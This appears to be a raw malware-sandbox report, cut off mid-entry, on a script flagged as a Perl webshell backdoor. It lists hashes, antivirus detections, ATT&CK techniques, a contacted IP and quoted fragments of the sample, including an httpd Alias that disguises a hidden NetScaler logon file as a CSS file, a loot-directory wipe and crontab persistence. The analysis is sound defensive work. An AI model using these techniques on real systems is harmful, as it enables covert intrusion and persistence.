"b9b0a4380db462c706597bd3e6a08d4d99fcbbf0919d63eb99b488d396c8ce63.pl")1b:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$23"}}],["$","$L24",null,{"initialData":{"schema_version":"1.0.15","sha256":"b9b0a4380db462c706597bd3e6a08d4d99fcbbf0919d63eb99b488d396c8ce63","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"SUCCESS","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":100,"unified_at_epoch_ms":1791133303513,"unified_at":"2026-10-04T17:01:43.513Z","metadata":{"hashes":{"sha256":"b9b0a4380db462c706597bd3e6a08d4d99fcbbf0919d63eb99b488d396c8ce63","sha1":"8781a11449bab955f30489531c22b00eb43d76f5","md5":"8414c74e881b10a760c5c3eb797ec3c8","sha512":"d20c471229b35a82ad167726a28f9ee65ecce0a4d5b2d164a3cfa302b41b285ba00bba94135df3558e94c3004b26e58ab4b19b11116cb3fbc7a6a2b01ee14e2d","ssdeep":"768:5Fxadn2345FPWdWmS1nwuxli8o7TUILRyUKtvZC17:xQ2I5FPWdPSNwuxli8o80RyhvZ07","ssdeep_chunks":["768:5Fxadn2","768:Fxadn23","768:xadn234","768:adn2345","768:dn2345F","768:n2345FP","768:2345FPW","768:345FPWd","768:45FPWdW","768:5FPWdWm","768:FPWdWmS","768:PWdWmS1","768:WdWmS1n","768:dWmS1nw","768:WmS1nwu","768:mS1nwux","768:S1nwuxl","768:1nwuxli","768:nwuxli8","768:wuxli8o","768:uxli8o7","768:xli8o7T","768:li8o7TU","768:i8o7TUI","768:8o7TUIL","768:o7TUILR","768:7TUILRy","768:TUILRyU","768:UILRyUK","768:ILRyUKt","768:LRyUKtv","768:RyUKtvZ","768:yUKtvZC","768:UKtvZC1","768:KtvZC17","1536:5Fxadn2","1536:Fxadn23","1536:xadn234","1536:adn2345","1536:dn2345F","1536:n2345FP","1536:2345FPW","1536:345FPWd","1536:45FPWdW","1536:5FPWdWm","1536:FPWdWmS","1536:PWdWmS1","1536:WdWmS1n","1536:dWmS1nw","1536:WmS1nwu","1536:mS1nwux","1536:S1nwuxl","1536:1nwuxli","1536:nwuxli8","1536:wuxli8o","1536:uxli8o7","1536:xli8o7T","1536:li8o7TU","1536:i8o7TUI","1536:8o7TUIL","1536:o7TUILR","1536:7TUILRy","1536:TUILRyU","1536:UILRyUK","1536:ILRyUKt","1536:LRyUKtv","1536:RyUKtvZ","1536:yUKtvZC","1536:UKtvZC1","1536:KtvZC17","768:xQ2I5FP","768:Q2I5FPW","768:2I5FPWd","768:I5FPWdP","768:5FPWdPS","768:FPWdPSN","768:PWdPSNw","768:WdPSNwu","768:dPSNwux","768:PSNwuxl","768:SNwuxli","768:Nwuxli8","768:uxli8o8","768:xli8o80","768:li8o80R","768:i8o80Ry","768:8o80Ryh","768:o80Ryhv","768:80RyhvZ","768:0RyhvZ0","768:RyhvZ07"],"imphash":"Unknown"},"file_info":{"file_name":"b9b0a4380db462c706597bd3e6a08d4d99fcbbf0919d63eb99b488d396c8ce63.pl","file_type":["script","sh"],"file_type_id":"bash","file_size":25158,"entropy":4.96,"is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1791018634000,"last_seen":1791132898000,"last_multi_scan":1791132898000}},"detections":{"summary":{"verdict":"malicious","score":100,"tags":null},"stats":{"av":{"malicious_count":3,"suspicious_count":0,"total_engines":26},"attributions":{"malware_families_count":2,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":40},"sandbox_signatures":{"informative_count":34,"suspicious_count":13,"malicious_count":8,"total":55},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"ahnlab":{"name":"AhnLab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"aurora":{"name":"Aurora","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"Bitdefender","success":true,"verdict":"malicious","threat_name":"Trojan.GenericKD.81664001","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"clamav":{"name":"ClamAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"cmc":{"name":"CMC","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"malicious","threat_name":"Trojan.GenericKD.81664001 (B)","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"filseclab":{"name":"Filseclab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"gridinsoft":{"name":"Gridinsoft","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"huorong":{"name":"Huorong","success":true,"verdict":"malicious","threat_name":"HEUR:Backdoor/Perl.WebShell.b","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"lionic":{"name":"Lionic","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"nanoav":{"name":"NANOAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"netgate":{"name":"NETGATE","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"rocketcyber":{"name":"RocketCyber","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sentinelone":{"name":"SentinelOne","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trellix":{"name":"Trellix","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"varist":{"name":"Varist","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"virusblokada":{"name":"VirusBlokAda","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"xcitium":{"name":"Xcitium","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"zillya":{"name":"Zillya!","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{"malware_families":[{"value":"Backdoor/Perl.WebShell","sources":[{"report_type":"quickscan","report_id":""}]},{"value":"Trojan.Generic","sources":[{"report_type":"quickscan","report_id":""}]}]},"mitre_attacks":[{"tactic":"Execution","technique":"Native API","attack_id":"T1106","attack_id_wiki":"https://attack.mitre.org/techniques/T1106","identifiers":[{"type":"informative","value":"Contains native function calls (syscalls strings)"},{"type":"informative","value":"Calls native functions (syscalls)"}],"sources":[{"report_type":"sandbox","report_id":"6ac284e2f46a4f9e090362cd"}]},{"tactic":"Execution","technique":"Command and Scripting Interpreter","attack_id":"T1059","attack_id_wiki":"https://attack.mitre.org/techniques/T1059","identifiers":[{"type":"informative","value":"Able to execute xargs command"}],"sources":[{"report_type":"sandbox","report_id":"6ac284e2f46a4f9e090362cd"}]},{"tactic":"Execution","technique":"Unix Shell","attack_id":"T1059.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/004","identifiers":[{"type":"suspicious","value":"Executes a shell command"},{"type":"suspicious","value":"Executes a Perl command or a script"}],"sources":[{"report_type":"sandbox","report_id":"6ac284e2f46a4f9e090362cd"}]},{"tactic":"Execution","technique":"Cron","attack_id":"T1053.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1053/003","identifiers":[{"type":"malicious","value":"Creates a new crontab entry"},{"type":"malicious","value":"Writes to a crontab entry"}],"sources":[{"report_type":"sandbox","report_id":"6ac284e2f46a4f9e090362cd"}]},{"tactic":"Execution","technique":"Python","attack_id":"T1059.006","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/006","identifiers":[{"type":"suspicious","value":"Executes a Python command or a script"}],"sources":[{"report_type":"sandbox","report_id":"6ac284e2f46a4f9e090362cd"}]},{"tactic":"Persistence","technique":"Socket Filters","attack_id":"T1205.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1205/002","identifiers":[{"type":"informative","value":"Able to monitor socket connection"},{"type":"informative","value":"Contains ability to set the socket options (syscall string)"}],"sources":[{"report_type":"sandbox","report_id":"6ac284e2f46a4f9e090362cd"}]},{"tactic":"Persistence","technique":"Pre-OS Boot","attack_id":"T1542","attack_id_wiki":"https://attack.mitre.org/techniques/T1542","sources":[{"report_type":"sandbox","report_id":"6ac284e2f46a4f9e090362cd"}]},{"tactic":"Persistence","technique":"Systemd Service","attack_id":"T1543.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1543/002","sources":[{"report_type":"sandbox","report_id":"6ac284e2f46a4f9e090362cd"}]},{"tactic":"Defense Evasion","technique":"Obfuscated Files or Information","attack_id":"T1027","attack_id_wiki":"https://attack.mitre.org/techniques/T1027","identifiers":[{"type":"informative","value":"Contains CRYPTO related strings"},{"type":"informative","value":"Shows ability to obfuscate file or information"}],"sources":[{"report_type":"sandbox","report_id":"6ac284e2f46a4f9e090362cd"}]},{"tactic":"Defense Evasion","technique":"Clear Linux or Mac System Logs","attack_id":"T1070.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/002","identifiers":[{"type":"informative","value":"Contains ability to access web server logs"}],"sources":[{"report_type":"sandbox","report_id":"6ac284e2f46a4f9e090362cd"}]},{"tactic":"Defense Evasion","technique":"File Deletion","attack_id":"T1070.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/004","identifiers":[{"type":"informative","value":"Able to remove a file/directory"}],"sources":[{"report_type":"sandbox","report_id":"6ac284e2f46a4f9e090362cd"}]},{"tactic":"Defense Evasion","technique":"Masquerading","attack_id":"T1036","attack_id_wiki":"https://attack.mitre.org/techniques/T1036","identifiers":[{"type":"informative","value":"Contains ability to add or remove shortcut"}],"sources":[{"report_type":"sandbox","report_id":"6ac284e2f46a4f9e090362cd"}]},{"tactic":"Defense Evasion","technique":"Linux and Mac File and Directory Permissions Modification","attack_id":"T1222.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1222/002","identifiers":[{"type":"suspicious","value":"Changes file or directory permissions (command)"},{"type":"informative","value":"Sets default file mode creation mask"}],"sources":[{"report_type":"sandbox","report_id":"6ac284e2f46a4f9e090362cd"}]},{"tactic":"Defense Evasion","technique":"System Binary Proxy Execution","attack_id":"T1218","attack_id_wiki":"https://attack.mitre.org/techniques/T1218","sources":[{"report_type":"sandbox","report_id":"6ac284e2f46a4f9e090362cd"}]},{"tactic":"Defense Evasion","technique":"Clear Command History","attack_id":"T1070.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/003","identifiers":[{"type":"malicious","value":"Discards output of command(s)"}],"sources":[{"report_type":"sandbox","report_id":"6ac284e2f46a4f9e090362cd"}]},{"tactic":"Defense Evasion","technique":"Disable or Modify Tools","attack_id":"T1562.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1562/001","identifiers":[{"type":"malicious","value":"Kills process(es) (command)"}],"sources":[{"report_type":"sandbox","report_id":"6ac284e2f46a4f9e090362cd"}]},{"tactic":"Defense Evasion","technique":"Ignore Process Interrupts","attack_id":"T1564.011","attack_id_wiki":"https://attack.mitre.org/techniques/T1564/011","sources":[{"report_type":"sandbox","report_id":"6ac284e2f46a4f9e090362cd"}]},{"tactic":"Defense Evasion","technique":"Command Obfuscation","attack_id":"T1027.010","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/010","sources":[{"report_type":"sandbox","report_id":"6ac284e2f46a4f9e090362cd"}]},{"tactic":"Defense Evasion","technique":"Time Based Checks","attack_id":"T1497.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/003","identifiers":[{"type":"malicious","value":"Able to detect sandbox based on system information"}],"sources":[{"report_type":"sandbox","report_id":"6ac284e2f46a4f9e090362cd"}]},{"tactic":"Credential Access","technique":"/etc/passwd and /etc/shadow","attack_id":"T1003.008","attack_id_wiki":"https://attack.mitre.org/techniques/T1003/008","identifiers":[{"type":"suspicious","value":"Reads users database (/etc/passwd file) (syscall)"}],"sources":[{"report_type":"sandbox","report_id":"6ac284e2f46a4f9e090362cd"}]},{"tactic":"Discovery","technique":"File and Directory Discovery","attack_id":"T1083","attack_id_wiki":"https://attack.mitre.org/techniques/T1083","identifiers":[{"type":"informative","value":"Able to access file/directory"},{"type":"informative","value":"Able to search file or word using grep command"},{"type":"informative","value":"Contains ability to retrieve file and file system information"},{"type":"informative","value":"Reads files"},{"type":"informative","value":"Calls a system call typically used to get directory entries"}],"sources":[{"report_type":"sandbox","report_id":"6ac284e2f46a4f9e090362cd"}]},{"tactic":"Discovery","technique":"System Information Discovery","attack_id":"T1082","attack_id_wiki":"https://attack.mitre.org/techniques/T1082","identifiers":[{"type":"informative","value":"Calls a system call typically used to retrieve information about a mounted filesystem"},{"type":"informative","value":"Able to retrieve system information using uname"}],"sources":[{"report_type":"sandbox","report_id":"6ac284e2f46a4f9e090362cd"}]},{"tactic":"Discovery","technique":"System Owner/User Discovery","attack_id":"T1033","attack_id_wiki":"https://attack.mitre.org/techniques/T1033","identifiers":[{"type":"informative","value":"Gets user and/or group ID (syscall)"},{"type":"informative","value":"Gets user and/or group ID (command)"}],"sources":[{"report_type":"sandbox","report_id":"6ac284e2f46a4f9e090362cd"}]},{"tactic":"Discovery","technique":"Process Discovery","attack_id":"T1057","attack_id_wiki":"https://attack.mitre.org/techniques/T1057","identifiers":[{"type":"malicious","value":"Lists running processes"}],"sources":[{"report_type":"sandbox","report_id":"6ac284e2f46a4f9e090362cd"}]},{"tactic":"Discovery","technique":"System Time Discovery","attack_id":"T1124","attack_id_wiki":"https://attack.mitre.org/techniques/T1124","sources":[{"report_type":"sandbox","report_id":"6ac284e2f46a4f9e090362cd"}]},{"tactic":"Discovery","technique":"System Network Configuration Discovery","attack_id":"T1016","attack_id_wiki":"https://attack.mitre.org/techniques/T1016","identifiers":[{"type":"malicious","value":"Looks up network configuration"},{"type":"informative","value":"Calls a system call typically used to retrieve the current address to which the socket is bound"},{"type":"informative","value":"Retrieves the configured DNS server"}],"sources":[{"report_type":"sandbox","report_id":"6ac284e2f46a4f9e090362cd"}]},{"tactic":"Discovery","technique":"Remote System Discovery","attack_id":"T1018","attack_id_wiki":"https://attack.mitre.org/techniques/T1018","identifiers":[{"type":"suspicious","value":"Reads hosts file (syscall)"}],"sources":[{"report_type":"sandbox","report_id":"6ac284e2f46a4f9e090362cd"}]},{"tactic":"Discovery","technique":"System Network Connections Discovery","attack_id":"T1049","attack_id_wiki":"https://attack.mitre.org/techniques/T1049","identifiers":[{"type":"informative","value":"Queries socket options"}],"sources":[{"report_type":"sandbox","report_id":"6ac284e2f46a4f9e090362cd"}]},{"tactic":"Collection","technique":"Data from Local System","attack_id":"T1005","attack_id_wiki":"https://attack.mitre.org/techniques/T1005","identifiers":[{"type":"suspicious","value":"Searches for file content"}],"sources":[{"report_type":"sandbox","report_id":"6ac284e2f46a4f9e090362cd"}]},{"tactic":"Collection","technique":"Archive Collected Data","attack_id":"T1560","attack_id_wiki":"https://attack.mitre.org/techniques/T1560","identifiers":[{"type":"suspicious","value":"Creates or extracts an archive"}],"sources":[{"report_type":"sandbox","report_id":"6ac284e2f46a4f9e090362cd"}]},{"tactic":"Command and Control","technique":"Application Layer Protocol","attack_id":"T1071","attack_id_wiki":"https://attack.mitre.org/techniques/T1071","identifiers":[{"type":"informative","value":"Found potential URL in binary/memory"},{"type":"informative","value":"Found potential IP address in binary/memory"},{"type":"informative","value":"Contacts server"}],"sources":[{"report_type":"sandbox","report_id":"6ac284e2f46a4f9e090362cd"}]},{"tactic":"Command and Control","technique":"Ingress Tool Transfer","attack_id":"T1105","attack_id_wiki":"https://attack.mitre.org/techniques/T1105","identifiers":[{"type":"informative","value":"Dropped files"},{"type":"suspicious","value":"Uses cURL to download a file/payload"},{"type":"suspicious","value":"Drops ELF executable files"},{"type":"suspicious","value":"Drops Python script files"},{"type":"informative","value":"Able to use cURL command for network data transfer"}],"sources":[{"report_type":"sandbox","report_id":"6ac284e2f46a4f9e090362cd"}]},{"tactic":"Command and Control","technique":"Non-Application Layer Protocol","attack_id":"T1095","attack_id_wiki":"https://attack.mitre.org/techniques/T1095","sources":[{"report_type":"sandbox","report_id":"6ac284e2f46a4f9e090362cd"}]},{"tactic":"Command and Control","technique":"Asymmetric Cryptography","attack_id":"T1573.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1573/002","identifiers":[{"type":"malicious","value":"Reads OpenSSL configuration"}],"sources":[{"report_type":"sandbox","report_id":"6ac284e2f46a4f9e090362cd"}]},{"tactic":"Command and Control","technique":"Encrypted Channel","attack_id":"T1573","attack_id_wiki":"https://attack.mitre.org/techniques/T1573","identifiers":[{"type":"informative","value":"Uses HTTPS for communication"}],"sources":[{"report_type":"sandbox","report_id":"6ac284e2f46a4f9e090362cd"}]},{"tactic":"Command and Control","technique":"Web Protocols","attack_id":"T1071.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/001","identifiers":[{"type":"suspicious","value":"Sends traffic on typical HTTP outbound port, but without HTTP header"},{"type":"informative","value":"Sends GET/POST requests (HTTPS)"}],"sources":[{"report_type":"sandbox","report_id":"6ac284e2f46a4f9e090362cd"}]},{"tactic":"Command and Control","technique":"Non-Standard Port","attack_id":"T1571","attack_id_wiki":"https://attack.mitre.org/techniques/T1571","identifiers":[{"type":"informative","value":"References server/domain address with port number"}],"sources":[{"report_type":"sandbox","report_id":"6ac284e2f46a4f9e090362cd"}]},{"tactic":"Exfiltration","technique":"Automated Exfiltration","attack_id":"T1020","attack_id_wiki":"https://attack.mitre.org/techniques/T1020","identifiers":[{"type":"informative","value":"PUTs data to a web server (HTTPS)"}],"sources":[{"report_type":"sandbox","report_id":"6ac284e2f46a4f9e090362cd"}]},{"tactic":"Impact","technique":"Data Manipulation","attack_id":"T1565","attack_id_wiki":"https://attack.mitre.org/techniques/T1565","identifiers":[{"type":"informative","value":"Contains ability to modify text in file or stream"}],"sources":[{"report_type":"sandbox","report_id":"6ac284e2f46a4f9e090362cd"}]},{"tactic":"Impact","technique":"Data Destruction","attack_id":"T1485","attack_id_wiki":"https://attack.mitre.org/techniques/T1485","sources":[{"report_type":"sandbox","report_id":"6ac284e2f46a4f9e090362cd"}]}],"sandbox_signatures":[{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to remove a file/directory","description":"file/memory contains long string with (Indicator: \"rm -\"; File: \"b9b0a4380db462c706597bd3e6a08d4d99fcbbf0919d63eb99b488d396c8ce63.pl\")\n Found string \"rm -rf \"$L\"\" (Indicator: \"rm -\"; File: \"b9b0a4380db462c706597bd3e6a08d4d99fcbbf0919d63eb99b488d396c8ce63.pl\")\n Found string \"rm -rf /var/tmp/.s2loot\" (Indicator: \"rm -\"; File: \"rm\")","origin":"File/Memory","mitre_attack_id":"T1070.004","relevance":1,"id":"string-5065","sources":[{"report_type":"sandbox","report_id":"6ac284e2f46a4f9e090362cd"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to add or remove shortcut","description":"Found string \"Alias /logon/LogonPoint/custom/receiver.v2.min.css \"/var/netscaler/logon/LogonPoint/custom/.slap.receiver\"\" (Indicator: \"alias\"; File: \"b9b0a4380db462c706597bd3e6a08d4d99fcbbf0919d63eb99b488d396c8ce63.pl\")\n Found string \"grep -q Alias /logon/LogonPoint/custom/receiver.v2.min.css /etc/httpd.conf\" (Indicator: \"alias\"; File: \"grep\")","origin":"File/Memory","mitre_attack_id":"T1036","relevance":1,"id":"string-5029","sources":[{"report_type":"sandbox","report_id":"6ac284e2f46a4f9e090362cd"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to modify text in file or stream","description":"Found string \"sed -n '1395,1425p' \"$HTTPD\" 2>/dev/null || true\" (Indicator: \"sed\"; File: \"b9b0a4380db462c706597bd3e6a08d4d99fcbbf0919d63eb99b488d396c8ce63.pl\")\n Found string \"sed -n 1395,1425p /etc/httpd.conf\" (Indicator: \"sed\"; File: \"sed\")","origin":"File/Memory","mitre_attack_id":"T1565","relevance":1,"id":"string-5034","sources":[{"report_type":"sandbox","report_id":"6ac284e2f46a4f9e090362cd"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to obfuscate file or information","description":"The analysis contains indicators for crypto or data obfuscation(base64/decrypt) which can hide information. Matched sigs: Contains CRYPTO related strings","origin":"Indicator Combinations","mitre_attack_id":"T1027","relevance":1,"id":"summary-28","sources":[{"report_type":"sandbox","report_id":"6ac284e2f46a4f9e090362cd"}]},{"level":"informative","category":"Environment Awareness","name":"Able to access file/directory","description":"$25","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-779","sources":[{"report_type":"sandbox","report_id":"6ac284e2f46a4f9e090362cd"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve system information using uname","description":"file/memory contains long string with (Indicator: \"uname -\"; File: \"b9b0a4380db462c706597bd3e6a08d4d99fcbbf0919d63eb99b488d396c8ce63.pl\")\n Found string \"uname -a\" (Indicator: \"uname -\"; File: \"b9b0a4380db462c706597bd3e6a08d4d99fcbbf0919d63eb99b488d396c8ce63.pl\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-5079","sources":[{"report_type":"sandbox","report_id":"6ac284e2f46a4f9e090362cd"}]},{"level":"informative","category":"Environment Awareness","name":"Able to search file or word using grep command","description":"$26","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-5080","sources":[{"report_type":"sandbox","report_id":"6ac284e2f46a4f9e090362cd"}]},{"level":"informative","category":"Environment Awareness","name":"Gets user and/or group ID (syscall)","description":"/usr/bin/bash used: getuid\n /usr/bin/bash used: geteuid","origin":"API Call","mitre_attack_id":"T1033","id":"api-1004","sources":[{"report_type":"sandbox","report_id":"6ac284e2f46a4f9e090362cd"}]},{"level":"informative","category":"External Systems","name":"Detected Suricata Alert","description":"Detected alert \"SURICATA TCPv4 invalid checksum\" (SID: 2200074, Rev: 2, Severity: 3) categorized as \"Generic Protocol Command Decode\"","origin":"Suricata Alerts","relevance":10,"id":"suricata-0","sources":[{"report_type":"sandbox","report_id":"6ac284e2f46a4f9e090362cd"}]},{"level":"informative","category":"General","name":"Able to execute xargs command","description":"file/memory contains long string with (Indicator: \"xargs \"; File: \"013b311b49954931_root\")\n file/memory contains long string with (Indicator: \"xargs \"; File: \"76459c69ae42b460_.slap.cron\")","origin":"File/Memory","mitre_attack_id":"T1059","relevance":1,"id":"string-5078","sources":[{"report_type":"sandbox","report_id":"6ac284e2f46a4f9e090362cd"}]},{"level":"informative","category":"General","name":"Calls native functions (syscalls)","description":"$27","origin":"API Call","mitre_attack_id":"T1106","relevance":3,"id":"api-1150","sources":[{"report_type":"sandbox","report_id":"6ac284e2f46a4f9e090362cd"}]},{"level":"informative","category":"General","name":"Contacts server","description":"\"213.209.159.55:443\"","origin":"Network Traffic","mitre_attack_id":"T1071","relevance":1,"id":"network-1","sources":[{"report_type":"sandbox","report_id":"6ac284e2f46a4f9e090362cd"}]},{"level":"informative","category":"General","name":"Contains ability to access web server logs","description":"file/memory contains long string with (Indicator: \"/var/log/httpd/\"; File: \"b9b0a4380db462c706597bd3e6a08d4d99fcbbf0919d63eb99b488d396c8ce63.pl\")\n Found string \"tail -n 80 /var/log/httpd/error_log 2>/dev/null || true\" (Indicator: \"/var/log/httpd/\"; File: \"b9b0a4380db462c706597bd3e6a08d4d99fcbbf0919d63eb99b488d396c8ce63.pl\")\n Found string \"tail -n 80 /var/log/httpd/error.log 2>/dev/null || true\" (Indicator: \"/var/log/httpd/\"; File: \"b9b0a4380db462c706597bd3e6a08d4d99fcbbf0919d63eb99b488d396c8ce63.pl\")\n Found string \"tail -n 80 /var/log/httpd/error_log\" (Indicator: \"/var/log/httpd/\"; File: \"tail\")\n Found string \"tail -n 80 /var/log/httpd/error.log\" (Indicator: \"/var/log/httpd/\"; File: \"tail\")","origin":"File/Memory","mitre_attack_id":"T1070.002","relevance":1,"id":"string-5012","sources":[{"report_type":"sandbox","report_id":"6ac284e2f46a4f9e090362cd"}]},{"level":"informative","category":"General","name":"Contains native function calls (syscalls strings)","description":"$28","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-5000","sources":[{"report_type":"sandbox","report_id":"6ac284e2f46a4f9e090362cd"}]},{"level":"informative","category":"General","name":"Gets user and/or group ID (command)","description":"/usr/bin/id executed: id","origin":"API Call","mitre_attack_id":"T1033","id":"api-1054","sources":[{"report_type":"sandbox","report_id":"6ac284e2f46a4f9e090362cd"}]},{"level":"informative","category":"General","name":"Sets default file mode creation mask","description":"/usr/bin/mkdir set umask\n /usr/bin/chmod set umask\n /usr/bin/perl set umask\n /usr/bin/crontab set umask","origin":"API Call","mitre_attack_id":"T1222.002","id":"api-1147","sources":[{"report_type":"sandbox","report_id":"6ac284e2f46a4f9e090362cd"}]},{"level":"informative","category":"Installation/Persistence","name":"Dropped files","description":"$29","origin":"Binary File","mitre_attack_id":"T1105","relevance":3,"id":"binary-0","sources":[{"report_type":"sandbox","report_id":"6ac284e2f46a4f9e090362cd"}]},{"level":"informative","category":"Installation/Persistence","name":"Reads files","description":"/usr/bin/bash reads file /lib/x86_64-linux-gnu/libtinfo.so.6\n /usr/bin/bash reads file /lib/x86_64-linux-gnu/libc.so.6\n /usr/bin/bash reads file /home/ubuntu/b9b0a4380db4.pl","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-1156","sources":[{"report_type":"sandbox","report_id":"6ac284e2f46a4f9e090362cd"}]},{"level":"informative","category":"Network Related","name":"Able to monitor socket connection","description":"file/memory contains long string with (Indicator: \"setsockopt\"; File: \"b9b0a4380db462c706597bd3e6a08d4d99fcbbf0919d63eb99b488d396c8ce63.pl\")\n file/memory contains long string with (Indicator: \"setsockopt\"; File: \"be559fb34104b8ce_slapshot.py\")\n Found reference to API \"srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\" (Indicator: \"setsockopt\"; File: \"b9b0a4380db462c706597bd3e6a08d4d99fcbbf0919d63eb99b488d396c8ce63.pl\")","origin":"File/Memory","mitre_attack_id":"T1205.002","relevance":1,"id":"string-879","sources":[{"report_type":"sandbox","report_id":"6ac284e2f46a4f9e090362cd"}]},{"level":"informative","category":"Network Related","name":"Able to use cURL command for network data transfer","description":"$2a","origin":"File/Memory","mitre_attack_id":"T1105","relevance":1,"id":"string-5074","sources":[{"report_type":"sandbox","report_id":"6ac284e2f46a4f9e090362cd"}]},{"level":"informative","category":"Network Related","name":"Calls a system call typically used to retrieve the current address to which the socket is bound","description":"/usr/bin/perl executed: getsockname\n /usr/bin/python3.12 executed: getsockname\n /usr/bin/curl executed: getsockname","origin":"API Call","mitre_attack_id":"T1016","relevance":3,"id":"api-1152","sources":[{"report_type":"sandbox","report_id":"6ac284e2f46a4f9e090362cd"}]},{"level":"informative","category":"Network Related","name":"Contains ability to set the socket options (syscall 